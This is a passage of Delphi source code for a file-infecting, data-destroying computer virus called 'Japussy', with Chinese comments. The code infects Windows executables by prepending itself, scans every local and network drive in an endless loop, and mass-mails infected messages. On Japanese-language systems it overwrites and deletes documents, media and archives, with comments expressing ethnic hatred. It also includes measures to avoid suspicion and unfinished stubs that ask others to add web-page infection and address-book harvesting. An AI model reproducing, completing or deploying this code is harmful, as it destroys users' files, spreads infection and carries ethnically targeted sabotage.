.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码,将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings[i] + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList[i] + ':', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.